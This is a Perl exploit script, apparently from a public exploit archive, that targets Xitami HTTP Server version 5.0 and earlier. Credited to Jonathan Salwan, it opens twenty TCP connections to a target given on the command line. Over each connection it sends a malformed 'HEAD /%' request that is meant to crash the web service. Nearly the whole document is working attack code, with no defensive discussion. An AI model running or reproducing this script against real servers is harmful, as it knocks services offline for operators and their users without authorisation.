Xitami Web Server 5.0 Denial Of Service

`#!/usr/bin/perl  
#  
# Xitami HTTP Server <= v5.0 Remote Denial of Service.  
#  
# ------------------------------------------------------------------------------  
# The vulnerability is caused due to an error with HEAD request and multi-socket  
# This can be exploited to crash the HTTP service.  
# ------------------------------------------------------------------------------  
#  
# Author: Jonathan Salwan  
# Mail: submit [AT] shell-storm.org  
# Web: http://www.shell-storm.org  
  
  
use IO::Socket;  
print "[+] Author : Jonathan Salwan\n";  
print "[+] Soft : Xitami HTTP Server v5.0\n";  
  
if (@ARGV < 1)  
{  
print "[-] Usage: <file.pl> <host> <port>\n";  
print "[-] Exemple: file.pl 127.0.0.1 80\n";  
exit;  
}  
  
  
$ip = $ARGV[0];  
$port = $ARGV[1];  
  
print "[+] Sending request...\n";  
  
  
for($i=0;$i<20;$i++)  
{  
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-] Failed\n";  
  
print $socket "HEAD /% HTTP/1.0\r\n\r\n";  
}  
  
print "[+] Done!\n";  
  
  
`